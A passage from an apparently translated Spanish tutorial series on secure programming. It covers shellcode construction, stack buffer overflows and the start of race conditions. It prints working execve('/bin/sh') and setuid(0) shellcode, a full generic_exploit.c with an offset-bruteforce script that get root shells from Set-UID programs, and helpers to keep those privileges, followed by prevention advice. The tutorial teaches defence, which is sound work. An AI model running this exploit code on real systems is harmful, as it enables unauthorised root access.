80483a6: 88 46 07 80483a9: b0 0b 80483ab: 89 f3 80483ad: 8d 4e 08 80483b0: 8d 56 0c 80483b3: cd 80 80483b5: 31 db 80483b7: 89 d8 80483b9: 40 80483ba: cd 80 pushl %ebp movl %esp,%ebp jmp 80483bc popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0xc(%esi) movb %al,0x7(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax incl %eax int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nop Los datos encontrados después de la dirección 80483c1 no representan instrucciones, sino los caracteres de la cadena "/bin/sh" (en hexadécimal, la secuencia 2f 62 69 6e 2f 73 68 00) y bytes aleatorios. El código no contiene ceros, excepto el caracter null al final de la cadena en 80483c8. Ahora, probemos nuestro programa : $ ./shellcode4 Segmentation fault (core dumped) $ Ooops! No muy concluyente. Si lo pensamos un poco, podemos ver que el área de memoria donde se encuentra la función main() (i.e. el área text mencionada al comienzo de este artículo) es read-only. El código shell no puede modificarlo ¿Qué podemos hacer ahora para probar nuestro código shell? Para salvar el problema read-only, debe colocarse el código shell en un área de datos. Pongámoslo en un arreglo declarado como una variable global. Debemos usar otro truco para poder ejecutar el código shell. Sustituyamos la dirección de regreso de la función main() que se encuentra en la pila con la dirección del arreglo que contiene el código shell. No olvidemos que la función main es una rutina "standard", llamada por pedazos de código que el ligador agrega. La dirección de retorno se sobreescribe al escribir el arreglo de caracteres dos lugares mas abajo de la primera posición de la pila. /* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 se comportará como un offset de 2 words */ /* (i.e. 8 bytes) en la cima de la pila : */ /* - el primero para la palabra reservada para la variable local */ /* - el segundo para el registro guardado %ebp */ * ((int *) & ret + 2) = (int) shellcode; return (0); } Ahora podemos probar nuestro código shell : $ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $ Incluso podemos instalar el programa shellcode5 Set-UID root, y checar que el shell arrancado con la data manejada por este programa, se ejecuta bajo la identidad de root : $ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $ Generalización y últimos detalles Este código shell esta algo limitado (bueno, ¡No es tan malo para tan pocos bytes!). Por ejemplo, si nuestro programa de prueba se convierte en : /* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); } arreglamos el proceso efectivo de UID a su valor real UID, como lo sugerimos en el artículo anterior. Esta vez, el shell se corre sin privilegios específicos : $ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $ Sin embargo, las instrucciones seteuid(getuid()) no son una protección muy efectiva. Solamente se necesita insertar la llamada equivaente setuid(0); al inicio del código shell para obtener los derechos ligados a una EUID inicial para una aplicación S-UID. Este código de instrucción es : char setuid[] = "\x31\xc0" "\x31\xdb" "\xb0\x17" "\xcd\x80"; /* xorl %eax, %eax */ /* xorl %ebx, %ebx */ /* movb $0x17, %al */ Integrándolo al código shell anterior, el ejemplo se convierte en : /* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); } Veamos cómo trabaja : $ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $ Como se muestra en este ejemplo, es posible agregar funciones a un código shell, por ejemplo para dejar el directorio impuesto por la función chroot() o para abrir un shell remoto usando un socket. Tales cambios parecen implicar que se puede adaptar el valor de algunos bytes en el código shell de acuerdo con su uso : eb XX <subroutine>: 5e 89 76 XX 31 c0 89 46 XX 88 46 XX b0 0b 89 f3 8d 4e XX 8d 56 XX cd 80 31 db 89 d8 40 cd 80 <subroutine_call>: <subroutine_call> XX = número de bytes para alcanzar <subroutine_call> popl %esi movl %esi,XX(%esi) xorl %eax,%eax movb %eax,XX(%esi) movb %al,XX(%esi) movb $0xb,%al movl %esi,%ebx leal XX(%esi),%ecx leal XX(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax incl %eax int $0x80 XX = posición del primer elemento en el arreglo de argumentos (i.e. la dirección de la orden). Este offset es igual al número de caracteres en la orden, incluido '\0'. XX = posición del segundo elemento en el arreglo , aquí, conteniendo un valor NULL. XX = posición del final de la cadena '\0'. XX = offset para alcanzar el primer elemento en el arreglo de argumentos y ponerlo en el registro %ecx XX = offset para alcanzar el segundo elemento en el arreglo de argumentosy ponerlo en el registro %edx estos 4 bytes corresponden al número de bytes para e8 XX XX XX call <subroutine> alcanzar<subroutine> (número negativo, escrito en little XX endian) Conclusión Escribimos un programa de aproximadamente 40 bytes y permite correr cualquier orden externa como root. Nuestros últimos ejemplos muestran algunas ideas acerca de cómo hacer pedazos una pila. En el siguiente artículo habrán más detalles de este mecanismo .. PARTE III - Desbordamiento de búfer En la sección anterior se escribió un pequeño programa de unos 50 bytes y éramos capaces de arrancar una shell o salir en caso de fallo. Ahora debemos insertar este código dentro de la aplicación que queremos atacar. Esto se hace sobreescribiendo la dirección de retorno de una función y sustituyéndola por nuestra dirección del código de shell. Esto se hace forzando el desbordamiento de una variable automática alojada en la pila de proceso. Por ejemplo, en el siguiente programa, se copia la cadena dada como primer argumento en la línea de comandos a un búfer de 500 bytes. Esta copia se realiza sin comprobar si es más grande que el tamaño del búfer. Como veremos, utilizar la función strncpy() nos permite evitar este problema. /* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); } buffer es una variable automática, el espacio utilizado por los 500 bytes es reservado en la pila tan pronto como se arranca el programa. Con un argumento mayor que 500 bytes, los datos desbordan el búfer e "invaden" la pila de proceso. Como ya se ha visto con anterioridad, la pila almacena la dirección de la siguiente instrucción a ejecutar (aka return address). Para explotar este agujero de seguridad, es suficiente reemplazar la dirección de retorno de la función por la dirección del código de shell que se desea ejecutar. Este código shell se inserta dentro del búfer seguido de su dirección de memoria. Posicion en memoria Obtener la dirección de memoria del código shell tiene su truco. Debemos descubrir el desplazamiento entre el registro %esp apuntando a la primera posición de la pila y la dirección del código shell. Para disponer de un margen de seguridad, el comienzo del búfer se rellena con la instrucción de ensamblador NOP; es una instrucción neutra de un único byte que no tiene ningún efecto en absoluto. En consecuencia, arrancando puntos de memoria anteriores al verdadero comienzo del código de shell, la CPU ejecuta NOP tras NOP hasta que alcanza nuestro código. Para tener más posibilidades, ponemos el código de la shell en medio del búfer, seguido de la dirección de comiendo repetida hasta el final y precedido de un bloque NOP. El diagrama 1 ilustra todo esto: Diag. 1 : buffer especially filled up for the exploit. El diagrama 2 describe el estado de la pila antes y después del desbordamiento. Esto provoca que toda la información guardada (%ebp guardado, %eip guardado, argumentos,...) se reemplace por la nueva dirección de retorno esperada: la dirección de comienzo de la parte del búfer donde hemos colocado el shellcode. Antes Después Diag. 2 : estado de la pila antes y después del desbordamiento Sin embargo, existe otro problema relacionado con la alineación en memoria. Una dirección es más larga que 1 byte y por consiguiente se almacena en varios bytes. Esto puede causar que la alineación dentro de la memoria no siempre se ajuste correctamente. Por ensayo y error se encuentra el alineamiento correcto. Ya que nuestra CPU utiliza palabras de 4 bytes, la alineación es 0, 1, 2 o 3 bytes (ver el articulo 183 sobre organización de la pila). En el diagrama 3, las partes sombreadas corresponden a los 4 bytes escritos. El primer caso donde la dirección de retorno es sobreescrita completamente con la alineación correcta es la única que funcionará. Los otros conducen a errores de violación de segmento o instrucción ilegal. Esta forma empírica de encontrar funciona desde que la potencia de los ordenadores actuales permiten realizar este testeo. Diag. 3 : possible alignment with 4 bytes words Programa para lanzar la aplicación Vamos a escribir un pequeño programa para lanzar una aplicación vulnerable escribiendo datos que desborden la pila. Este programa tiene varias opciones para posicionar el código de shell en memoria y así elegir que programa ejecutar. Esta versión, inspirada por el artículo de Aleph One del número 49 de la revista phrack, está disponible en el website de Christophe Grenier. ¿Cómo enviamos nuestro búfer preparado a la aplicación de destino? Normalmente, se puede utilizar un parámetro de línea de comandos como el de vulnerable.c o una variable de entorno. El desbordamiento también se puede provocar tecleando en los datos o simplemente leyéndolo desde un fichero. El programa generic_exploit.c arranca reservando el tamaño correcto de búfer, después copia ahí el shellcode y lo rellena con las direcciones y códigos NOP como se explica anteriormente. Entonces prepara un array de argumentos y ejecuta la aplicación utilizando la instrucción execve(), esta última sustituyendo al proceso actual por el invocado. El programa generic_exploit necesita el tamaño del búfer a explotar (un poco mayor que su tamaño para ser capaz de sobreescribir la dirección de retorno), el offset en memoria y la alineación. Nosotros indicamos si el búfer es pasado como una variable de entorno (var) o desde la línea de comandos (novar). El argumento force/noforce determina si la llamada ejecuta la función setuid()/setgid() desde el código de shell. /* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } } Para aprovechar vulnerable.c, debemos tener un búffer mayor que el que espera la aplicación. Por ejemplo, seleccionamos 600 bytes en lugar de los 500 esperados. Se halla el desplazamiento relativo a la parte superior de la pila por medio de sucesivos tests. La dirección construida con la instrucción addr = get_sp() + offset; se utiliza para sobreescribir la dirección de retorno, lo conseguirán ... ¡con un poco de suerte! La operación se basa en la probabilidad de que el registro %esp no se moverá mucho mientras se ejecuta el actual proceso y el llamado al final del programa. Prácticamente nada es seguro: varios eventos pueden modificar el estado de la pila desde el tiempo de computación hasta que el programa a explotar es llamado. Aquí, nosotros logramos activar un desbordamiento explotable con un desplazamiento de -1900 bytes. Por supuesto, para completar el experimento, el destino vulnerable debe tener un SerUID root. $ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exit En el primer caso (noforce), nuestro uid no cambia. Sin embargo, tenemos un nuevo euid que nos proporciona todos los permisos. En consecuencia, incluso si CODE>vi dice mientras edita /etc/passwd que es de sólo lectura, aún podemos escribir el fichero y todos los cambios funcionarán: únicamente hay que forzar la escritura con w! :) El parámetro force permite uid=euid=0 desde el principio. Para encontrar automáticamente los valores de desplazamiento para un desbordamiento se puede utilizar el siguiente script de shell: #! /bin/sh # find_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) done En nuestro exploit, no tuvimos en cuenta los posibles problemas de alineación. Entonces, es posible que este ejemplo no les funcione con los mismos valores, o no funcione en absoluto debido a la alineación. (Para aquellos que quieran probarlo de todas maneras, el parámetro de alineación debe ser cambiado a 1, 2 o 3 (aquí, 0). Algunos sistemas no aceptan la escritura en áreas de memoria si no se trata de una palabra entera, pero esto no es así en Linux. Problemas de shell(s) Por desgracia, a veces la shell obtenida no es utilizable porque termina por sí misma o al pulsar una tecla. Nosotros utilizamos otro programa para mantener los privilegios que hemos adquirido tan cuidadosamente: /* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; } Ya que nuestro exploit sólo es capaz de realizar una tarea simultáneamente, vamos a transferir los derechos obtenidos a través del programa run_shell con ayuda del programa set_run_shell. De esta manera se consigue la shell deseada. /* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); } La opción -i corresponde a interactive. ¿Por qué no dar los permisos directamente a una shell? Simplemente porque el bit s no está disponible para todas las shell. La versiones recientes comprueban que uid sea igual a euid, al igual que para gid y egid. En consecuencia, bash2 and tcsh incorporan esta línea de defensa, pero ni bash, ni CODE>ash la tienen. Este método debería ser refinado cuando la partición en la que se coloca run_shell (aquí, /tmp) es montada nosuid o noexec. Prevención Ya que tenemos un programa Set-UID con un bug de desbordamiento de buffer y su código fuente, somos capaces de preparar un ataque permitiendo la ejecución de código aleatorio bajo el ID del propietario del fichero. De todas maneras, nuestro objetivo es evitar agujeros de seguridad. Ahora vamos a revisar unas cuantas reglas para prevenir los desbordamientos de búfer. Comprobando índices La primera regla a seguir es simplemente cuestión de sentido común: los índices utilizados para manipular un array siempre debe ser comprobado cuidadosamente. Un bucle "tonto" como: for (i = 0; i <= n; i ++) { table [i] = ... Probablemente produce un error por el signo <= en lugar de CODE>< ya que se hace un acceso hacia el final del array. Si es sencillo verlo en ese bucle, es más complicado con un bucle que utiliza índices en decremento ya que se deberían asegurar de que no toman valores inferiores a cero. Aparte del caso trivial de for(i=0; i<n ; i++), deben comprobar el algoritmo varias veces (o incluso pedir a alguien más que lo compruebe por usted), especialmente al llegar a los extremos del bucle. El mismo tipo de problema aparece con las cadenas de caracteres: siempre deben recordar añadir un byte adicional para el carácter nulo final. Un de los errores más frecuentes en principiantes consiste en olvidar el carácter de fin de cadena. Peor aún, es muy complicado de diagnosticar debido a que los imprevisibles alineamientos variables (por ejemplo compilar con información de debug) pueden ocultar el problema. No se deben subestimar los índices de un array como amenaza a la seguridad de una aplicación. Hemos visto (ver nº55 de Phrack) que un desbordamiento de un único byte es suficiente para crear un agujero de seguridad, por ejemplo, insertando código shell en una variable de entorno. #define BUFFER_SIZE 128 void foo(void) { char buffer[BUFFER_SIZE+1]; /* end of string */ buffer[BUFFER_SIZE] = '\0'; for (i = 0; i<BUFFER_SIZE; i++) buffer[i] = ... } Utilizando funciones n Por convenio, las funciones de la librería estándar de C son conscientes del fin de una cadena de caracteres por el byte nulo. Por ejemplo, la función strcpy(3) copia el contenido de la cadena original en una cadena destino hasta que llega a este byte nulo. En algunos casos, este comportamiento se vuelve peligroso; hemos visto que el siguiente código tiene un agujero de seguridad: #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT]; strcpy (identity, name); ... } Funciones que limitan la longitud de la copia evitan este problema. Estas funciones tienen una `n' en la mitad de su nombre, por ejemplo, strncpy(3) en sustitución a strcpy(3), strncat(3) por strcat(3) o incluso strnlen(3) por strlen(3). Sin embargo, se debe tener precauciones con la limitación strncpy(3) ya que genera efectos colaterales: cuando la cadena origen es más corta que la de destino, la copia se completará con caracteres nulos hasta el límite n y reducirá la eficiencia de la aplicación. Por otro lado, si la cadena origen es más lasga, se truncará y la copia no terminará en un caracter nulo. Se deberá añadir manualmente. Teniendo esto en cuenta, la rutina anterior se convierte en: #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT+1]; strncpy (identity, name, LG_IDENT); identity [LG_IDENT] = '\0'; ... } Naturalmente, los mismos principios se aplican a rutinas que manipulan muchos caracteres, por ejemplo, wcsncpy(3) debería preferirse a wcscpy(3) o wcsncat(3) a wcscat(3). Seguramente, el programa se haga más grande pero también mejora la seguridad. Como strcpy(), strcat(3) no comprueba el tamaño de bufer. La función strncat(3) añade un carácter al final de la cadena si encuentra espacio para hacerlo. Sustituyendo strcat(buffer1, buffer2); por strncat(buffer1, buffer2, sizeof(buffer1)-1); se elimina el riesgo. La función sprintf() permite formatear datos en una cadena. También tiene una versión que puede comprobar el número de bytes a copiar: snprintf(). Esta función devuelve el número de caracteres escritos en una cadena destino (sin tener en cuenta el '\0'). Testeando este valor devuelto se sabe si la escritura se ha realizado correctamente: if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) { /* Overflow */ ... } Obviamente, esto no merece la pena cuando el usuario toma el control sobre el número de bytes a copiar. Un agujero similar en BIND (Berkeley Internet Name Daemon) mantuvo ocupados a muchos crackers: struct hosten *hp; unsigned long address; ... /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... Esto debería copiar siempre 4 bytes. Sin embargo, si usted puede cambiar hp->h_length, entonces también puede modificar la pila. De acuerdo con esto, es obligatorio comprobar la longitud de los campos antes de copiar: struct hosten *hp; unsigned long address; ... /* test */ if (hp->h_length > sizeof(address)) return 0; /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... En determinadas circunstancias es imposible truncarlo de esa manera (path, nombre de máquina, URL... ) y las cosas deben hacerse antes en el programa tan pronto como los datos son escritos. Validar los datos en dos pasos Un programa ejecutándose con privilegios distintos a aquellos de su usuario implica que usted protege todos sus datos y que considera sospechosos todos los datos entrantes. En primer lugar, esto afecta a las routinas con una cadena como parámetro de entrada. De acuerdo con lo que acabamos de decir, no insistiremos en que usted nunca utilice gets(char *array) ya que nunca comprueba la longitud de la cadena (nota del autor: esta rutina debería ser prohibida por el editor de enlace para los nuevos programas compilados). Otros peligros esconde scanf(). La línea scanf ("%s", string) es tan peligrosa como gets(char *array), pero no es tan obvio. Pero funciones de la familia de scanf() ofrecen un mecanismo de control sobre el tamaño de los datos: char buffer[256]; scanf("%255s", buffer); Este formateo limita el número de caracteres copiados en buffer hasta 255. Por otro lado, scanf() pone los caracteres que no le gustan de vuelta en la trama de entrada, por lo que los riesgos de errores de programación que generan bloqueos son bastante altos. Utilizando C++, la instrucción cin reeplaza las funciones clásicas utilizadas en C ( aunque se pueden seguir utilizando). El siguiente programa llena un búfer: char buffer[500]; cin>>buffer; Como pueden observar, ¡no hace ningún test! Nos encontramos en una situación similar a gets(char *array) que se utiliza en C: hay una puerta abierta de par en par. La función miembro ios::width() permite fijar el número máximo de caracteres a leer. La lectura de datos requiere dos pasos. Una primera fase consiste en tomar la cadena con CODE>fgets(char *array, int size, FILE stream), esto limita el tamaño del área utilizada. A continuación los datos leídos son formateados, por ejemplo con sscanf(). La primera fase puede hacer más cosas, como insertar automáticamente fgets(char *array, int size, FILE stream) en un bucle reservando la memoria requerida, sin unos límites arbitrarios. La extensión GNU getline() lo puede hacer por tí. También es posible incluir la validación de caracteres tecleados utilizando isalnum(), isprint(), etc. La función strspn() permite un filtrado efectivo. El programa se vuelve un poco más lento, pero las partes sensibles del código estan protegidas del datos ilegales con un chaleco antibalas. El tecleo directo de datos no es el único punto de entrada atacable. Los ficheros de datos del software son vulnerables, pero el código escrito para leerlos generalmente es más robusto que el de la entrada por consola, ya que los programadores intuitivamente desconfían del contenido del fichero proporcionado por el usuario. Los ataques por desbordamiento de búfer se basan muchas veces en algo más: las cadenas de entorno. No debemos olvidar que un programador puede configurar completamente un entorno de proceso antes de lanzarlo. El convenio que dice que una variable de entorno debe ser del tipo "NAME=VALUE" puede ser explotado por un usuario malintencionado. Utilizar la rutina getenv() requiere cierta precaución, especialmente cuando se va a devolver la longitud de la cadena (arbitrariamente larga) y su contenido (donde usted puede encontrar cualquier carácter, incluido `='). La cadena devuelta con getenv() será tratada como la proporcionada por fgets(char *array, int size, FILE stream), teniendo en cuenta su longitud y validando cada carácter. El uso de estos filtros se hace igual que el acceso al ordenador: ¡por defecto se prohíbe todo! A continuación se pueden permitir algunas cosas: #define GOOD "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_" char *my_getenv(char *var) { char *data, *ptr /* Getting the data */ data = getenv(var); /* Filtering Rem : obviously the replacement character must be in the list of the allowed ones !!! */ for (ptr = data; *(ptr += strspn(ptr, GOOD));) *ptr = '_'; return data; } La función strspn() lo hace sencillo: busca el primer carácter que no sea parte del comjunto correcto de caracteres. Devuelve la longitud de la cadena (comenzando en cero) manteniendo sólo los caracteres válidos. Nunca debe darle la vuelta a la lógica. No se puede validar contra los caracteres que usted no desea. Siempre se debe comprobar con los caracteres "buenos". Utilizar búferes dinámicos El desbordamiento de búfer se basa en que el contenido de la pila sobreescriba una variable y en la dirección de retorno de una función. El ataque involucra datos automáticos, que sólo se alojan en la pila. Una forma de mover el problema es reemplazar la tabla de caracteres alojada en la pila por variables dinámicas que se encuentran en memoria. Para hacer esto sustituimos la secuencia: #define LG_STRING 128 int fonction (...) { char array [LG_STRING]; ... return (result); } por : #define LG_STRING 128 int fonction (...) { char *string = NULL; if ((string = malloc (LG_STRING)) == NULL) return (-1); memset(string,'\0',LG_STRING); [...] free (string); return (result); } Estas líneas hinchan el código y crean riesgo de fugas de memoria, pero debemos aprovechar estos cambios para modificar la aproximación y evitar imponer límites de longitud arbitrarios. Vamos a añadir que usted no puede esperar el mismo resultado utilizando alloca(). El código parece similar pero alloca aloja los datos en la pila de proceso y esto conduce al mismo problema que las variables automáticas. Inicializar la memoria a cero utilizando memset() evita algunos problemas con las variables sin inicializar. De nuevo, esto no corrige el problema, simplemente el ataque se vuelve menos trivial. Aquellos que quieran profundizar en el tema pueden leer el artículo sobre desbordamiento de la cima de la pila en w00w00. Por último, digamos que en determinadas circunstancias es posible librarse rápidamente de los agujeros de seguridad añadiendo la palabra static antes de la declaración del búfer. El compilador aloja esta variable en el segmento de datos lejos de la pila de proceso. Conseguir una shell se convierte en algo imposible, pero no soluciona el problema de un ataque por denegación de servicio. Por supuesto, esto no funciona si la rutina es llamada de forma recursiva. Esta "medicina" debe ser considerada como un paliativo, utilizado únicamente para eliminar un agujero de seguridad en una emergencia sin tener que modificar demasiado el código. Conclusiones Esperamos que este breve repaso a los desbordamientos de búfer les ayude a programar de forma más segura. Incluso si la técnica de ataque requiere una profunda comprensión del mecanismo, el fundamento general es bastante accesible. Por otro lado, la implementación de precauciones no es tan complicada. No olviden que es más rápido hacer un programa seguro en tiempo de diseño que parchear los fallos más adelante. Confirmaremos este principio en nuestro siguiente artículo sobre bugs de formato. PARTE IV – Condiciones de carrera Introducción El principio general que define una condición de carrera es la siguiente. Un proceso quiere acceder a un recurso del sistema en forma exclusiva, primero verifica que el recurso no esta siendo usado y a continuación lo usa a su antojo. El problema surge cuando otro proceso aprovecha el lapso de tiempo comprendido entre la verificación y el acceso efectivo para atribuirse el mismo recurso. Las consecuencias pueden ser diversas. El clásico ejemplo en la teoría de los sistemas operativos es el abrazo mortal (deadlock) entre ambos procesos. En la mayoría de los casos prácticos esto ocasiona a menudo el mal funcionamiento de una aplicación o incluso da lugar a agujeros de seguridad cuando un proceso injustamente se beneficia de los privilegios que tiene otro. Lo que hemos previamente denominado recurso puede presentarse bajo distintas formas. La mayoría de las condiciones de carrera que han sido descubiertas y corregidas en el propio kernel fueron debido a accesos concurrentes a áreas de memoria. Nosotros únicamente, nos centraremos en las aplicaciones del sistema y supondremos que los recursos involucrados son nodos del sistema de archivos. Esto incluye no sólo a los archivos comunes sino también a los accesos directos a los dispositivos a través de los puntos de entradas especiales del directorio /dev/. La mayoría de las veces, un ataque que tiende a comprometer la seguridad de un sistema se realiza contra aplicaciones Set-UID pues de esta manera el atacante puede beneficiarse de los privilegios del propietario de un archivo ejecutable. Sin embargo, a diferencia de los agujeros de seguridad que se han discutido previamente (desbordamiento de búfer, formateo de cadenas...), las condiciones de carrera no permiten la ejecución de código "personalizado" y sólo se benefician de los recursos de un programa mientras está ejecutándose. Este tipo de ataque está dirigido también a utilidades normales (no sólo a las del tipo Set-UID). El cracker tiende una emboscada en espera de un usuario, preferentemente root, para que ejecute la aplicación afectada y de esta manera poder acceder a sus recursos. Esto también es válido para escribir un archivo (es decir, ~/.rhost en donde la cadena "+ +" proporciona un acceso directo desde cualquier máquina sin contraseña) o para leer un archivo confidencial (datos comerciales reservados, información médica personal, archivo de contraseñas, clave privada...) A diferencia de los agujeros de seguridad discutidos en nuestros artículos previos este problema afecta a todas las aplicaciones y no únicamente a las utilidades Set-UID, servidores de sistemas o demonios. Primer ejemplo Analicemos el comportamiento de un programa Set-UID que necesita guardar datos en un archivo perteneciente a un usuario. Podemos considerar el caso, por ejemplo, de un cliente de correo como sendmail. Supongamos que el usuario puede proporcionar un nombre al archivo y un mensaje para escribir en él lo cual es posible en determinadas circunstancias. En este caso, la aplicación debe verificar que el archivo pertenece a la persona que inició el programa y que no se trata de un enlace simbólico a un archivo del sistema. No olvidemos que, al ser un programa Set-UID root, puede modificar cualquier archivo del sistema. En consecuencia, comparará el propietario del archivo con su UID real. Escribamos algo así: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 /* ex_01.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> int main (int argc, char * argv []) { struct stat st; FILE * fp; if (argc != 3) { fprintf (stderr, "Uso : %s mensaje a archivo\n", argv [0]); 